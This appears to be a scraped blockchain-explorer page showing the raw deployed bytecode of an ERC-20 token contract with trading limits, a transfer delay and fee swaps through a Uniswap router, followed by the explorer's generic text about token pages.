6604e8410600b8410161715611a01575081810a61040b565b611a0b8383611946565b805f1904821115611a1e57611a1e611932565b029392505050565b5f6116ee60ff841683611988565b808202811582820484141761040b5761040b611932565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a90575f80fd5b5051919050565b5f60208284031215611aa7575f80fd5b815180151581146116ee575f80fd5b5f60208284031215611ac6575f80fd5b81516116ee81611861565b5f805f60608486031215611ae3575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561040b5761040b611932565b5f60018201611b2057611b20611932565b5060010190565b8181038181111561040b5761040b611932565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b9e5784516001600160a01b031683529383019391830191600101611b79565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611bd957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122054f7a9fecdd165c4bc50ab42d887fb8c6c4454d0438afd66f8e00ff2471f8a5164736f6c63430008170033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610323578063a9059cbb14610350578063ace00ce41461036f578063bf474bed1461038e578063c9567bf9146103a3578063dd62ed3e146103b7575f80fd5b8063715018a6146102b5578063751039fc146102c95780637d1db4a5146102dd5780638da5cb5b146102f25780638f9a55c01461030e575f80fd5b806323b872dd116100ee57806323b872dd14610212578063313ce5671461023157806349bd5a5e1461024c57806351bc3c851461026b57806370a0823114610281575f80fd5b806306fdde0314610134578063095ea7b3146101755780630faee56f146101a45780631694505e146101c757806318160ddd146101fe575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600781526620a4a62cad22a960c91b60208201525b60405161016c9190611815565b60405180910390f35b348015610180575f80fd5b5061019461018f366004611878565b6103fb565b604051901515815260200161016c565b3480156101af575f80fd5b506101b960115481565b60405190815260200161016c565b3480156101d2575f80fd5b506012546101e6906001600160a01b031681565b6040516001600160a01b03909116815260200161016c565b348015610209575f80fd5b506101b9610411565b34801561021d575f80fd5b5061019461022c3660046118a2565b610432565b34801561023c575f80fd5b506040516009815260200161016c565b348015610257575f80fd5b506013546101e6906001600160a01b031681565b348015610276575f80fd5b5061027f610499565b005b34801561028c575f80fd5b506101b961029b3660046118e0565b6001600160a01b03165f9081526001602052604090205490565b3480156102c0575f80fd5b5061027f6104ff565b3480156102d4575f80fd5b5061027f610579565b3480156102e8575f80fd5b506101b9600e5481565b3480156102fd575f80fd5b505f546001600160a01b03166101e6565b348015610319575f80fd5b506101b9600f5481565b34801561032e575f80fd5b5060408051808201909152600581526420a4a62d2960d91b602082015261015f565b34801561035b575f80fd5b5061019461036a366004611878565b61063b565b34801561037a575f80fd5b5061027f610389366004611878565b610647565b348015610399575f80fd5b506101b960105481565b3480156103ae575f80fd5b5061027f610767565b3480156103c2575f80fd5b506101b96103d13660046118fb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610407338484610b53565b5060015b92915050565b5f61041e6009600a611a26565b61042d9064174876e800611a34565b905090565b5f61043e848484610c76565b61048f843361048a85604051806060016040528060288152602001611bdf602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061149a565b610b53565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104b8575f80fd5b305f9081526001602052604090205480158015906104dd5750601654610100900460ff165b156104eb576104eb816114d2565b4780156104fb576104fb81611639565b5050565b5f546001600160a01b031633146105315760405162461bcd60e51b815260040161052890611a4b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105a25760405162461bcd60e51b815260040161052890611a4b565b6004805460ff60a01b191690556105bb6009600a611a26565b6105ca9064174876e800611a34565b600e556105d96009600a611a26565b6105e89064174876e800611a34565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106186009600a611a26565b6106279064174876e800611a34565b6040519081526020015b60405180910390a1565b5f610407338484610c76565b6004546001600160a01b0316336001600160a01b031614610666575f80fd5b6040516370a0823160e01b81523060048201525f906106e7906064906106e19085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156106b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106db9190611a80565b90611670565b906116f5565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af115801561073d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107619190611a97565b50505050565b5f546001600160a01b031633146107905760405162461bcd60e51b815260040161052890611a4b565b601354600160a01b900460ff16156107ea5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610528565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155436017556108389030906108296009600a611a26565b61048a9064174876e800611a34565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610888573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ac9190611ab6565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092f9190611ab6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610979573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099d9190611ab6565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306109e4816001600160a01b03165f9081526001602052604090205490565b5f806109f75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a5d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a829190611ad1565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ad7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afb9190611a97565b506016805461ff0019166101001790556013805460ff60a01b1916600160a01b1790556017546040517f4fc604860769be20f5b28724fc4548c0761b6522497add438f0fd954f11078e3916106319190815260200190565b6001600160a01b038316610bb55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610528565b6001600160a01b038216610c165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610528565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cda5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610528565b6001600160a01b038216610d3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610528565b5f8111610d9d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610528565b5f80546001600160a01b03858116911614801590610dc857505f546001600160a01b03848116911614155b8015610de257506004546001600160a01b03848116911614155b1561111457610e0d60646106e1600a54600d5411610e0257600654610e06565b6008545b8590611670565b600454909150600160a01b900460ff1615610ef8576012546001600160a01b03848116911614801590610e4e57506013546001600160a01b03848116911614155b15610ef857325f908152600560205260409020544311610ee65760405162461bcd60e51b815260206004820152604760248201527f5f7472616e736665723a3a205472616e736665722064656c617920696e20757360448201527f652e204f6e6c79206f6e652070757263686173652070657220626c6f636b2061606482015266363637bbb2b21760c91b608482015260a401610528565b325f9081526005602052604090204390555b6013546001600160a01b038581169116148015610f2357506012546001600160a01b03848116911614155b8015610f4757506001600160a01b0383165f9081526003602052604090205460ff16155b1561102d57600e54821115610f9e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610528565b600f5482610fc0856001600160a01b03165f9081526001602052604090205490565b610fca9190611afc565b11156110185760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610528565b600d8054905f61102783611b0f565b91905055505b6013546001600160a01b03848116911614801561105357506001600160a01b0384163014155b156110805761107d60646106e1600b54600d541161107357600754610e06565b6009548590611670565b90505b305f9081526001602052604090205460165460ff161580156110af57506013546001600160a01b038581169116145b80156110c25750601654610100900460ff165b80156110cf575060105481115b80156110de5750600c54600d54115b15611112576111006110fb846110f684601154611736565b611736565b6114d2565b4780156111105761111047611639565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061115157506001600160a01b0383165f9081526003602052604090205460ff165b801561116657506001600160a01b0384163014155b801561117f57505f546001600160a01b03858116911614155b801561119457506001600160a01b0383163014155b1561119e57436014555b6001600160a01b0384165f9081526003602052604090205460ff1680156111d35750600b546017546111d09190611afc565b43115b15611247576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112399086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff1615801561128757506001600160a01b0383165f9081526003602052604090205460ff16155b15611366576013546001600160a01b038085169116036112d7576001600160a01b0384165f90815260156020526040902060145481546112c69161174a565b600282015543600190910155611366565b6001600160a01b0383165f908152601560205260409020805415801561130a57506013546001600160a01b038681169116145b1561133357600c54600d541161132a5761132543600161174a565b61132c565b435b8155611364565b6001600160a01b0385165f90815260156020526040902054815415806113595750815481105b15611362578082555b505b505b80156113de57305f90815260016020526040902054611385908261178b565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113d59085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611400908361174a565b6001600160a01b0385165f90815260016020526040902055611443611425838361174a565b6001600160a01b0385165f908152600160205260409020549061178b565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61148c858561174a565b604051908152602001611239565b5f81848411156114bd5760405162461bcd60e51b81526004016105289190611815565b505f6114c98486611b27565b95945050505050565b6016805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061151257611512611b3a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611569573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061158d9190611ab6565b816001815181106115a0576115a0611b3a565b6001600160a01b0392831660209182029290920101526012546115c69130911684610b53565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fe9085905f90869030904290600401611b4e565b5f604051808303815f87803b158015611615575f80fd5b505af1158015611627573d5f803e3d5ffd5b50506016805460ff1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104fb573d5f803e3d5ffd5b5f825f0361167f57505f61040b565b5f61168a8385611a34565b9050826116978583611bbf565b146116ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610528565b9392505050565b5f6116ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e9565b5f81831161174457826116ee565b50919050565b5f6116ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061149a565b5f806117978385611afc565b9050838110156116ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610528565b5f81836118095760405162461bcd60e51b81526004016105289190611815565b505f6114c98486611bbf565b5f602080835283518060208501525f5b8181101561184157858101830151858201604001528201611825565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611875575f80fd5b50565b5f8060408385031215611889575f80fd5b823561189481611861565b946020939093013593505050565b5f805f606084860312156118b4575f80fd5b83356118bf81611861565b925060208401356118cf81611861565b929592945050506040919091013590565b5f602082840312156118f0575f80fd5b81356116ee81611861565b5f806040838503121561190c575f80fd5b823561191781611861565b9150602083013561192781611861565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561198057815f190482111561196657611966611932565b8085161561197357918102915b93841c939080029061194b565b509250929050565b5f826119965750600161040b565b816119a257505f61040b565b81600181146119b857600281146119c2576119de565b600191505061040b565b60ff8411156119d3576119d3611932565b50506001821b61040b565b5060208310610133831016604e8410600b8410161715611a01575081810a61040b565b611a0b8383611946565b805f1904821115611a1e57611a1e611932565b029392505050565b5f6116ee60ff841683611988565b808202811582820484141761040b5761040b611932565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a90575f80fd5b5051919050565b5f60208284031215611aa7575f80fd5b815180151581146116ee575f80fd5b5f60208284031215611ac6575f80fd5b81516116ee81611861565b5f805f60608486031215611ae3575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561040b5761040b611932565b5f60018201611b2057611b20611932565b5060010190565b8181038181111561040b5761040b611932565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b9e5784516001600160a01b031683529383019391830191600101611b79565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611bd957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122054f7a9fecdd165c4bc50ab42d887fb8c6c4454d0438afd66f8e00ff2471f8a5164736f6c63430008170033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.